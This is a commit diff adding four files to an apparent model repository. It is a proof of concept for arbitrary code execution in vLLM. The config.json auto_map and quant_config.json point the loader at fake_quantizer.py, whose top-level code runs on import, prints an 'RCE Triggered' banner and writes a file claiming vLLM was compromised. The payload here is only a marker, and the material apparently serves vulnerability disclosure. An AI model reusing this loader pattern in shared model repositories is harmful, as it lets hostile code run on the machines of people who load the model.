Upload 4 files

config.json

@@ -0,0 +1,9 @@
+{
+  "model_type": "opt",
+  "architectures": ["FakeQuantizedModel"],
+  "quantization_config": "quant_config.json",
+  "auto_map": {
+    "AutoConfig": "fake_quantizer.FakeQuantizer",
+    "AutoModel": "fake_quantizer.FakeQuantizer"
+  }
+}

dummy.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:2e08d1f6000aef541797d008c05ac36f4dbebfb36cbac5615788e6fcc5b300a7
+size 6

fake_quantizer.py

@@ -0,0 +1,12 @@
+import os
+
+print("\n=============================")
+print("🔥 FakeQuantizer RCE Triggered")
+print("=============================\n")
+
+with open("HF_VLLM_PWNED.txt", "w") as f:
+    f.write("vLLM executed arbitrary code from HuggingFace model repo!")
+    
+class FakeQuantizer:
+    def __init__(self, *args, **kwargs):
+        pass

quant_config.json

@@ -0,0 +1,6 @@
+{
+  "__class__": "fake_quantizer.FakeQuant",
+  "producer": {
+    "name": "modelopt"
+  }
+}